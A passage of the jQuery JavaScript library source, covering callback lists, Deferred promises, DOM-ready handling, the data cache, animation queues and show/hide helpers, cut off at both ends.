until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.uniqueSort( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; } ); var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g ); // Convert String-formatted options into Object-formatted ones function createOptions( options ) { var object = {}; jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) { object[ flag ] = true; } ); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? createOptions( options ) : jQuery.extend( {}, options ); var // Flag to know if list is currently firing firing, // Last fire value for non-forgettable lists memory, // Flag to know if list was already fired fired, // Flag to prevent firing locked, // Actual callback list list = [], // Queue of execution data for repeatable lists queue = [], // Index of currently firing callback (modified by add/remove as needed) firingIndex = -1, // Fire callbacks fire = function() { // Enforce single-firing locked = locked || options.once; // Execute callbacks for all pending executions, // respecting firingIndex overrides and runtime changes fired = firing = true; for ( ; queue.length; firingIndex = -1 ) { memory = queue.shift(); while ( ++firingIndex < list.length ) { // Run callback and check for early termination if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && options.stopOnFalse ) { // Jump to end and forget the data so .add doesn't re-fire firingIndex = list.length; memory = false; } } } // Forget the data if we're done with it if ( !options.memory ) { memory = false; } firing = false; // Clean up if we're done firing for good if ( locked ) { // Keep an empty list if we have data for future add calls if ( memory ) { list = []; // Otherwise, this object is spent } else { list = ""; } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // If we have memory from a past run, we should fire after adding if ( memory && !firing ) { firingIndex = list.length - 1; queue.push( memory ); } ( function add( args ) { jQuery.each( args, function( _, arg ) { if ( isFunction( arg ) ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && toType( arg ) !== "string" ) { // Inspect recursively add( arg ); } } ); } )( arguments ); if ( memory && !firing ) { fire(); } } return this; }, // Remove a callback from the list remove: function() { jQuery.each( arguments, function( _, arg ) { var index; while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( index <= firingIndex ) { firingIndex--; } } } ); return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : list.length > 0; }, // Remove all callbacks from the list empty: function() { if ( list ) { list = []; } return this; }, // Disable .fire and .add // Abort any current/pending executions // Clear all callbacks and values disable: function() { locked = queue = []; list = memory = ""; return this; }, disabled: function() { return !list; }, // Disable .fire // Also disable .add unless we have memory (since it would have no effect) // Abort any pending executions lock: function() { locked = queue = []; if ( !memory && !firing ) { list = memory = ""; } return this; }, locked: function() { return !!locked; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( !locked ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; queue.push( args ); if ( !firing ) { fire(); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; function Identity( v ) { return v; } function Thrower( ex ) { throw ex; } function adoptValue( value, resolve, reject, noValue ) { var method; try { // Check for promise aspect first to privilege synchronous behavior if ( value && isFunction( ( method = value.promise ) ) ) { method.call( value ).done( resolve ).fail( reject ); // Other thenables } else if ( value && isFunction( ( method = value.then ) ) ) { method.call( value, resolve, reject ); // Other non-thenables } else { // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer: // * false: [ value ].slice( 0 ) => resolve( value ) // * true: [ value ].slice( 1 ) => resolve() resolve.apply( undefined, [ value ].slice( noValue ) ); } // For Promises/A+, convert exceptions into rejections // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in // Deferred#then to conditionally suppress rejection. } catch ( value ) { // Support: Android 4.0 only // Strict mode functions invoked without .call/.apply get global-object context reject.apply( undefined, [ value ] ); } } jQuery.extend( { Deferred: function( func ) { var tuples = [ // action, add listener, callbacks, // ... .then handlers, argument index, [final state] [ "notify", "progress", jQuery.Callbacks( "memory" ), jQuery.Callbacks( "memory" ), 2 ], [ "resolve", "done", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 0, "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 1, "rejected" ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, "catch": function( fn ) { return promise.then( null, fn ); }, // Keep pipe for back-compat pipe: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( _i, tuple ) { // Map tuples (progress, done, fail) to arguments (done, fail, progress) var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; // deferred.progress(function() { bind to newDefer or newDefer.notify }) // deferred.done(function() { bind to newDefer or newDefer.resolve }) // deferred.fail(function() { bind to newDefer or newDefer.reject }) deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && isFunction( returned.promise ) ) { returned.promise() .progress( newDefer.notify ) .done( newDefer.resolve ) .fail( newDefer.reject ); } else { newDefer[ tuple[ 0 ] + "With" ]( this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); }, then: function( onFulfilled, onRejected, onProgress ) { var maxDepth = 0; function resolve( depth, deferred, handler, special ) { return function() { var that = this, args = arguments, mightThrow = function() { var returned, then; // Support: Promises/A+ section 2.3.3.3.3 // https://promisesaplus.com/#point-59 // Ignore double-resolution attempts if ( depth < maxDepth ) { return; } returned = handler.apply( that, args ); // Support: Promises/A+ section 2.3.1 // https://promisesaplus.com/#point-48 if ( returned === deferred.promise() ) { throw new TypeError( "Thenable self-resolution" ); } // Support: Promises/A+ sections 2.3.3.1, 3.5 // https://promisesaplus.com/#point-54 // https://promisesaplus.com/#point-75 // Retrieve `then` only once then = returned && // Support: Promises/A+ section 2.3.4 // https://promisesaplus.com/#point-64 // Only check objects and functions for thenability ( typeof returned === "object" || typeof returned === "function" ) && returned.then; // Handle a returned thenable if ( isFunction( then ) ) { // Special processors (notify) just wait for resolution if ( special ) { then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ) ); // Normal processors (resolve) also hook into progress } else { // ...and disregard older resolution values maxDepth++; then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ), resolve( maxDepth, deferred, Identity, deferred.notifyWith ) ); } // Handle all other returned values } else { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Identity ) { that = undefined; args = [ returned ]; } // Process the value(s) // Default process is resolve ( special || deferred.resolveWith )( that, args ); } }, // Only normal processors (resolve) catch and reject exceptions process = special ? mightThrow : function() { try { mightThrow(); } catch ( e ) { if ( jQuery.Deferred.exceptionHook ) { jQuery.Deferred.exceptionHook( e, process.error ); } // Support: Promises/A+ section 2.3.3.3.4.1 // https://promisesaplus.com/#point-61 // Ignore post-resolution exceptions if ( depth + 1 >= maxDepth ) { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Thrower ) { that = undefined; args = [ e ]; } deferred.rejectWith( that, args ); } } }; // Support: Promises/A+ section 2.3.3.3.1 // https://promisesaplus.com/#point-57 // Re-resolve promises immediately to dodge false rejection from // subsequent errors if ( depth ) { process(); } else { // Call an optional hook to record the error, in case of exception // since it's otherwise lost when execution goes async if ( jQuery.Deferred.getErrorHook ) { process.error = jQuery.Deferred.getErrorHook(); // The deprecated alias of the above. While the name suggests // returning the stack, not an error instance, jQuery just passes // it directly to `console.warn` so both will work; an instance // just better cooperates with source maps. } else if ( jQuery.Deferred.getStackHook ) { process.error = jQuery.Deferred.getStackHook(); } window.setTimeout( process ); } }; } return jQuery.Deferred( function( newDefer ) { // progress_handlers.add( ... ) tuples[ 0 ][ 3 ].add( resolve( 0, newDefer, isFunction( onProgress ) ? onProgress : Identity, newDefer.notifyWith ) ); // fulfilled_handlers.add( ... ) tuples[ 1 ][ 3 ].add( resolve( 0, newDefer, isFunction( onFulfilled ) ? onFulfilled : Identity ) ); // rejected_handlers.add( ... ) tuples[ 2 ][ 3 ].add( resolve( 0, newDefer, isFunction( onRejected ) ? onRejected : Thrower ) ); } ).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 5 ]; // promise.progress = list.add // promise.done = list.add // promise.fail = list.add promise[ tuple[ 1 ] ] = list.add; // Handle state if ( stateString ) { list.add( function() { // state = "resolved" (i.e., fulfilled) // state = "rejected" state = stateString; }, // rejected_callbacks.disable // fulfilled_callbacks.disable tuples[ 3 - i ][ 2 ].disable, // rejected_handlers.disable // fulfilled_handlers.disable tuples[ 3 - i ][ 3 ].disable, // progress_callbacks.lock tuples[ 0 ][ 2 ].lock, // progress_handlers.lock tuples[ 0 ][ 3 ].lock ); } // progress_handlers.fire // fulfilled_handlers.fire // rejected_handlers.fire list.add( tuple[ 3 ].fire ); // deferred.notify = function() { deferred.notifyWith(...) } // deferred.resolve = function() { deferred.resolveWith(...) } // deferred.reject = function() { deferred.rejectWith(...) } deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); return this; }; // deferred.notifyWith = list.fireWith // deferred.resolveWith = list.fireWith // deferred.rejectWith = list.fireWith deferred[ tuple[ 0 ] + "With" ] = list.fireWith; } ); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( singleValue ) { var // count of uncompleted subordinates remaining = arguments.length, // count of unprocessed arguments i = remaining, // subordinate fulfillment data resolveContexts = Array( i ), resolveValues = slice.call( arguments ), // the primary Deferred primary = jQuery.Deferred(), // subordinate callback factory updateFunc = function( i ) { return function( value ) { resolveContexts[ i ] = this; resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; if ( !( --remaining ) ) { primary.resolveWith( resolveContexts, resolveValues ); } }; }; // Single- and empty arguments are adopted like Promise.resolve if ( remaining <= 1 ) { adoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject, !remaining ); // Use .then() to unwrap secondary thenables (cf. gh-3000) if ( primary.state() === "pending" || isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { return primary.then(); } } // Multiple arguments are aggregated like Promise.all array elements while ( i-- ) { adoptValue( resolveValues[ i ], updateFunc( i ), primary.reject ); } return primary.promise(); } } ); // These usually indicate a programmer mistake during development, // warn about them ASAP rather than swallowing them by default. var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; // If `jQuery.Deferred.getErrorHook` is defined, `asyncError` is an error // captured before the async barrier to get the original error cause // which may otherwise be hidden. jQuery.Deferred.exceptionHook = function( error, asyncError ) { // Support: IE 8 - 9 only // Console exists when dev tools are open, which can happen at any time if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, asyncError ); } }; jQuery.readyException = function( error ) { window.setTimeout( function() { throw error; } ); }; // The deferred used on DOM ready var readyList = jQuery.Deferred(); jQuery.fn.ready = function( fn ) { readyList .then( fn ) // Wrap jQuery.readyException in a function so that the lookup // happens at the time of error handling instead of callback // registration. .catch( function( error ) { jQuery.readyException( error ); } ); return this; }; jQuery.extend( { // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See trac-6781 readyWait: 1, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); } } ); jQuery.ready.then = readyList.then; // The ready event handler and self cleanup method function completed() { document.removeEventListener( "DOMContentLoaded", completed ); window.removeEventListener( "load", completed ); jQuery.ready(); } // Catch cases where $(document).ready() is called // after the browser event has already occurred. // Support: IE <=9 - 10 only // Older IE sometimes signals "interactive" too soon if ( document.readyState === "complete" || ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { // Handle it asynchronously to allow scripts the opportunity to delay ready window.setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed ); } // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( toType( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, _key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < len; i++ ) { fn( elems[ i ], key, raw ? value : value.call( elems[ i ], i, fn( elems[ i ], key ) ) ); } } } if ( chainable ) { return elems; } // Gets if ( bulk ) { return fn.call( elems ); } return len ? fn( elems[ 0 ], key ) : emptyGet; }; // Matches dashed string for camelizing var rmsPrefix = /^-ms-/, rdashAlpha = /-([a-z])/g; // Used by camelCase as callback to replace() function fcamelCase( _all, letter ) { return letter.toUpperCase(); } // Convert dashed to camelCase; used by the css and data modules // Support: IE <=9 - 11, Edge 12 - 15 // Microsoft forgot to hump their vendor prefix (trac-9572) function camelCase( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); } var acceptData = function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); }; function Data() { this.expando = jQuery.expando + Data.uid++; } Data.uid = 1; Data.prototype = { cache: function( owner ) { // Check if the owner object already has a cache var value = owner[ this.expando ]; // If not, create one if ( !value ) { value = {}; // We can accept data for non-element nodes in modern browsers, // but we should not, see trac-8335. // Always return an empty object. if ( acceptData( owner ) ) { // If it is a node unlikely to be stringify-ed or looped over // use plain assignment if ( owner.nodeType ) { owner[ this.expando ] = value; // Otherwise secure it in a non-enumerable property // configurable must be true to allow the property to be // deleted when data is removed } else { Object.defineProperty( owner, this.expando, { value: value, configurable: true } ); } } } return value; }, set: function( owner, data, value ) { var prop, cache = this.cache( owner ); // Handle: [ owner, key, value ] args // Always use camelCase key (gh-2257) if ( typeof data === "string" ) { cache[ camelCase( data ) ] = value; // Handle: [ owner, { properties } ] args } else { // Copy the properties one-by-one to the cache object for ( prop in data ) { cache[ camelCase( prop ) ] = data[ prop ]; } } return cache; }, get: function( owner, key ) { return key === undefined ? this.cache( owner ) : // Always use camelCase key (gh-2257) owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ]; }, access: function( owner, key, value ) { // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ( ( key && typeof key === "string" ) && value === undefined ) ) { return this.get( owner, key ); } // When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, cache = owner[ this.expando ]; if ( cache === undefined ) { return; } if ( key !== undefined ) { // Support array or space separated string of keys if ( Array.isArray( key ) ) { // If key is an array of keys... // We always set camelCase keys, so remove that. key = key.map( camelCase ); } else { key = camelCase( key ); // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace key = key in cache ? [ key ] : ( key.match( rnothtmlwhite ) || [] ); } i = key.length; while ( i-- ) { delete cache[ key[ i ] ]; } } // Remove the expando if there's no more data if ( key === undefined || jQuery.isEmptyObject( cache ) ) { // Support: Chrome <=35 - 45 // Webkit & Blink performance suffers when deleting properties // from DOM nodes, so set to undefined instead // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) if ( owner.nodeType ) { owner[ this.expando ] = undefined; } else { delete owner[ this.expando ]; } } }, hasData: function( owner ) { var cache = owner[ this.expando ]; return cache !== undefined && !jQuery.isEmptyObject( cache ); } }; var dataPriv = new Data(); var dataUser = new Data(); // Implementation Summary // // 1. Enforce API surface and semantic compatibility with 1.9.x branch // 2. Improve the module's maintainability by reducing the storage // paths to a single mechanism. // 3. Use the same single mechanism to support "private" and "user" data. // 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) // 5. Avoid exposing implementation details on user objects (eg. expando properties) // 6. Provide a clear path for implementation upgrade to WeakMap in 2014 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, rmultiDash = /[A-Z]/g; function getData( data ) { if ( data === "true" ) { return true; } if ( data === "false" ) { return false; } if ( data === "null" ) { return null; } // Only convert to a number if it doesn't change the string if ( data === +data + "" ) { return +data; } if ( rbrace.test( data ) ) { return JSON.parse( data ); } return data; } function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = getData( data ); } catch ( e ) {} // Make sure we set the data so it isn't changed later dataUser.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend( { hasData: function( elem ) { return dataUser.hasData( elem ) || dataPriv.hasData( elem ); }, data: function( elem, name, data ) { return dataUser.access( elem, name, data ); }, removeData: function( elem, name ) { dataUser.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to dataPriv methods, these can be deprecated. _data: function( elem, name, data ) { return dataPriv.access( elem, name, data ); }, _removeData: function( elem, name ) { dataPriv.remove( elem, name ); } } ); jQuery.fn.extend( { data: function( key, value ) { var i, name, data, elem = this[ 0 ], attrs = elem && elem.attributes; // Gets all values if ( key === undefined ) { if ( this.length ) { data = dataUser.get( elem ); if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { i = attrs.length; while ( i-- ) { // Support: IE 11 only // The attrs elements can be null (trac-14894) if ( attrs[ i ] ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = camelCase( name.slice( 5 ) ); dataAttr( elem, name, data[ name ] ); } } } dataPriv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each( function() { dataUser.set( this, key ); } ); } return access( this, function( value ) { var data; // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // The key will always be camelCased in Data data = dataUser.get( elem, key ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, key ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... this.each( function() { // We always store the camelCased key dataUser.set( this, key, value ); } ); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each( function() { dataUser.remove( this, key ); } ); } } ); jQuery.extend( { queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = dataPriv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || Array.isArray( data ) ) { queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // Clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // Not public - generate a queueHooks object, or return the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { empty: jQuery.Callbacks( "once memory" ).add( function() { dataPriv.remove( elem, [ type + "queue", key ] ); } ) } ); } } ); jQuery.fn.extend( { queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[ 0 ], type ); } return data === undefined ? this : this.each( function() { var queue = jQuery.queue( this, type, data ); // Ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { jQuery.dequeue( this, type ); } } ); }, dequeue: function( type ) { return this.each( function() { jQuery.dequeue( this, type ); } ); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } } ); var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; var documentElement = document.documentElement; var isAttached = function( elem ) { return jQuery.contains( elem.ownerDocument, elem ); }, composed = { composed: true }; // Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only // Check attachment across shadow DOM boundaries when possible (gh-3504) // Support: iOS 10.0-10.2 only // Early iOS 10 versions support `attachShadow` but not `getRootNode`, // leading to errors. We need to check for `getRootNode`. if ( documentElement.getRootNode ) { isAttached = function( elem ) { return jQuery.contains( elem.ownerDocument, elem ) || elem.getRootNode( composed ) === elem.ownerDocument; }; } var isHiddenWithinTree = function( elem, el ) { // isHiddenWithinTree might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; // Inline style trumps all return elem.style.display === "none" || elem.style.display === "" && // Otherwise, check computed style // Support: Firefox <=43 - 45 // Disconnected elements can have computed display: none, so first confirm that elem is // in the document. isAttached( elem ) && jQuery.css( elem, "display" ) === "none"; }; function adjustCSS( elem, prop, valueParts, tween ) { var adjusted, scale, maxIterations = 20, currentValue = tween ? function() { return tween.cur(); } : function() { return jQuery.css( elem, prop, "" ); }, initial = currentValue(), unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), // Starting value computation is required for potential unit mismatches initialInUnit = elem.nodeType && ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && rcssNum.exec( jQuery.css( elem, prop ) ); if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { // Support: Firefox <=54 // Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144) initial = initial / 2; // Trust units reported by jQuery.css unit = unit || initialInUnit[ 3 ]; // Iteratively approximate from a nonzero starting point initialInUnit = +initial || 1; while ( maxIterations-- ) { // Evaluate and update our best guess (doubling guesses that zero out). // Finish if the scale equals or crosses 1 (making the old*new product non-positive). jQuery.style( elem, prop, initialInUnit + unit ); if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) { maxIterations = 0; } initialInUnit = initialInUnit / scale; } initialInUnit = initialInUnit * 2; jQuery.style( elem, prop, initialInUnit + unit ); // Make sure we update the tween properties later on valueParts = valueParts || []; } if ( valueParts ) { initialInUnit = +initialInUnit || +initial || 0; // Apply relative offset (+=/-=) if specified adjusted = valueParts[ 1 ] ? initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : +valueParts[ 2 ]; if ( tween ) { tween.unit = unit; tween.start = initialInUnit; tween.end = adjusted; } } return adjusted; } var defaultDisplayMap = {}; function getDefaultDisplay( elem ) { var temp, doc = elem.ownerDocument, nodeName = elem.nodeName, display = defaultDisplayMap[ nodeName ]; if ( display ) { return display; } temp = doc.body.appendChild( doc.createElement( nodeName ) ); display = jQuery.css( temp, "display" ); temp.parentNode.removeChild( temp ); if ( display === "none" ) { display = "block"; } defaultDisplayMap[ nodeName ] = display; return display; } function showHide( elements, show ) { var display, elem, values = [], index = 0, length = elements.length; // Determine new display value for elements that need to change for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } display = elem.style.display; if ( show ) { // Since we force visibility upon cascade-hidden elements, an immediate (and slow) // check is required in this first loop unless we have a nonempty display value (either // inline or about-to-be-restored) if ( display === "none" ) { values[ index ] = dataPriv.get( elem, "display" ) || null; if ( !values[ index ] ) { elem.style.display = ""; } } if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { values[ index ] = getDefaultDisplay( elem ); } } else { if ( display !== "none" ) { values[ index ] = "none"; // Remember what we're overwriting dataPriv.set( elem, "display", display ); } } } // Set the display of the elements in a second loop to avoid constant reflow for ( index = 0; index < length; index++ ) { if ( values[ index ] != null ) { elements[ index ].style.display = values[ index ]; } } return elements; } jQuery.fn.extend( { show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { if ( typeof state === "boolean" ) { return state ? this.show() : this.hide(); } return this.each( function() { if ( isHiddenWithinTree( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } } ); } } ); var rcheckableType = ( /^(?:checkbox|radio)$/i ); var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i ); var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i ); ( function() { var fragment = document.createDocumentFragment(), div = fragment.appendChild( document.createElement( "div" ) ), input = document.createElement( "input" ); // Support: Android 4.0 - 4.3 only // Check state lost if the name is set (trac-11217) // Support: Windows Web Apps (WWA) // `name` and `type` must use .setAttribute for WWA (trac-14901) input.setAttribute( "type", "radio" ); input.setAttribute( "checked", "checked" ); input.setAttribute( "name", "t" ); div.appendChild( input ); // Support: Android <=4.1 only // Older WebKit doesn't clone checked state correctly in fragments support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: IE <=11 only // Make sure textarea (and checkbox) defaultValue is properly cloned div.innerHTML = "<textarea>x</textarea>"; support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; // Support: IE <=9 only // IE <=9 replaces <option> tags with their contents when inserted outside of // the select element. div.innerHTML = "<option></option>"; support.option = !!div.lastChild; } )(); // We have to close these tags to support XHTML (trac-13200) var wrapMap = { // XHTML parsers do not magically insert elements in the // same way that tag soup parsers do. So we cannot shorten // this by omitting <tbody> or other required elements. thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; // Support: IE <=9 only if ( !support.option ) { wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ]; } function getAll( context, tag ) { // Support: IE <=9 - 11 only // Use typeof to avoid zero-argument method invocation on host objects (trac-15151) var ret; if ( typeof context.getElementsByTagName !== "undefined" ) { ret = context.getElementsByTagName( tag || "*" ); } else if ( typeof context.querySelectorAll !== "undefined" ) { ret = context.querySelectorAll( tag || "*" ); } else { ret = []; } if ( tag === undefined || tag && nodeName( context, tag ) ) { return jQuery.merge( [ context ], ret ); } return ret; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var i = 0, l = elems.length; for ( ; i < l; i++ ) { dataPriv.set( elems[ i ], "globalEval", !refElements || dataPriv.get( refElements[ i ], "globalEval" ) ); } } var rhtml = /<|&#?\w+;/; function buildFragment( elems, context, scripts, selection, ignored ) { var elem, tmp, tag, wrap, attached, j, fragment = context.createDocumentFragment(), nodes = [], i = 0, l = elems.length; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( toType( elem ) === "object" ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text 